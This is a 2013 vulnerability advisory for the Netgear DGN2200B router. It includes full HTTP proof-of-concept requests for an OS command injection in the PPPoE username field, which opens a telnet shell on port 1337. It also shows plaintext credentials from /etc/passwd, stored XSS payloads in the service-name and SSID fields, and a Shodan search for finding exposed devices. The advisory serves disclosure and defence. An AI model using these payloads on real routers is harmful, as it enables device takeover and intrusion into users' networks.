140 lines
No EOL
5.9 KiB
Text
140 lines
No EOL
5.9 KiB
Text
Device Name: DGN2200B
|
|
Vendor: Netgear
|
|
|
|
============ Vulnerable Firmware Releases: ============
|
|
|
|
Hardwareversion DGN2200B
|
|
Firmwareversion V1.0.0.36_7.0.36 - 04/01/2011
|
|
GUI Sprachversion: V1.0.0.25
|
|
|
|
============ Device Description: ============
|
|
|
|
Infos: http://www.netgear.com/home/products/wirelessrouters/work-and-play/dgn2200.aspx
|
|
http://www.netgear.de/products/home/wireless_routers/work-and-play/DGN2200B.aspx#
|
|
|
|
Firmware download: http://kb.netgear.com/app/answers/detail/a_id/18990/~/dgn2200%2Fdgn2200b-firmware-version-1.0.0.36
|
|
|
|
============ Shodan Torks ============
|
|
|
|
Shodan Search: NETGEAR DGN2200
|
|
|
|
============ Vulnerability Overview: ============
|
|
|
|
* OS Command Injection in the PPOE configuration:
|
|
|
|
The vulnerability is caused by missing input validation in the pppoe_username parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.
|
|
|
|
Param: pppoe_username
|
|
|
|
Example Request:
|
|
POST /pppoe.cgi HTTP/1.1
|
|
Host: 192.168.0.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Proxy-Connection: keep-alive
|
|
Referer: http://192.168.0.1/BAS_pppoe.htm
|
|
Cookie: uid=vjkqK779eJ
|
|
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 593
|
|
Connection: close
|
|
|
|
login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20ping%20-c%201%20192%2e168%2e0%2e2%20%26&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
|
|
|
|
=> wait around 30 seconds till the configuration is saved and activated
|
|
|
|
start telnetd on port 1337:
|
|
%26%20telnetd -p 1337%20%26
|
|
|
|
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN2200B-OS-Command-Injection-Telnetd-started.png
|
|
|
|
* Insecure Cryptographic Storage:
|
|
|
|
There is no password hashing implemented and so it is saved in plain text on the system:
|
|
|
|
~ # cat /etc/passwd
|
|
nobody:*:0:0:nobody:/:/bin/sh
|
|
admin:password:0:0:admin:/:/bin/sh
|
|
guest:guest:0:0:guest:/:/bin/sh
|
|
~ #
|
|
|
|
* stored XSS
|
|
|
|
Injecting scripts into the parameter DomainName mode reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.
|
|
|
|
-> Zugriffsbeschränkungen -> Dienste -> neuen Dienst anlegen -> Dienstname
|
|
|
|
Param: userdefined
|
|
|
|
Original request:
|
|
POST /fw_serv_add.cgi HTTP/1.1
|
|
Host: 192.168.0.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Proxy-Connection: keep-alive
|
|
Referer: http://192.168.0.1/fw_serv.cgi
|
|
Cookie: uid=vjkqK779eJ
|
|
Authorization: Basic xxxx=
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 114
|
|
|
|
userdefined="><img src="0" onerror=alert(1)>&protocol=TCP&portstart=1&portend=5&apply=%C3%9Cbernehmen&which_mode=0
|
|
|
|
You could also change the request method to HTTP GET:
|
|
http://192.168.0.1/fw_serv_add.cgi?userdefined="><img%20src="0"%20onerror=alert(1)>&protocol=TCP&portstart=1&portend=5&apply=%C3%9Cbernehmen&which_mode=0
|
|
|
|
The scriptcode gets executed if you try to edit this service again.
|
|
|
|
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN2200B-Stored-XSS-Dienste.png
|
|
|
|
* stored XSS:
|
|
|
|
Injecting scripts into the parameter ssid mode reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.
|
|
|
|
-> Wireless-Konfiguration -> Netzwerkname (SSID)
|
|
|
|
Param: ssid
|
|
|
|
POST /wlg_sec_profile_main.cgi HTTP/1.1
|
|
Host: 192.168.0.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Proxy-Connection: keep-alive
|
|
Referer: http://192.168.0.1/WLG_wireless2_2.htm
|
|
Cookie: uid=vjkqK779eJ
|
|
Authorization: Basic xxxx=
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 328
|
|
|
|
ssidSelect=1&ssid=%2522%253E%253Cscript%253Ealert%25281%2529%253&WRegion=5&w_channel=0&opmode=20n&enable_ap=1&enable_ssid_bc=1&security_type=AUTO-PSK&passphrase=friendlytrain824&Apply=%C3%9Cbernehmen&tempSetting=0&tempRegion=5&initChannel=0&h_opmode=20n&wds_enable=0&ver_type=WW&pfChanged=0&ssid_sel_submit=0&secure_sel_submit=0
|
|
|
|
============ Solution ============
|
|
|
|
No known solution available.
|
|
|
|
============ Credits ============
|
|
|
|
The vulnerability was discovered by Michael Messner
|
|
Mail: devnull#at#s3cur1ty#dot#de
|
|
http://www.s3cur1ty.de/m1adv2013-015
|
|
Twitter: @s3cur1ty_de
|
|
|
|
============ Time Line: ============
|
|
|
|
17.12.2012 - discovered vulnerability
|
|
18.12.2012 - Privately reported all details to vendor
|
|
18.12.2012 - vendor responded that they will check the reported vulnerability details
|
|
29.01.2013 - vendor contacted me to test a new firmware
|
|
29.01.2013 - /me responded that I need more details about the fixes before I will test the new firmware
|
|
30.01.2013 - vendor reponded that I should just check it
|
|
31.01.2013 - /me responded that I will not check the firmware if they do not provide more details (do not waste my time again!)
|
|
11.02.2013 - vendor responded that he has to declare it internally
|
|
15.02.2013 - public release
|
|
|
|
===================== Advisory end ===================== |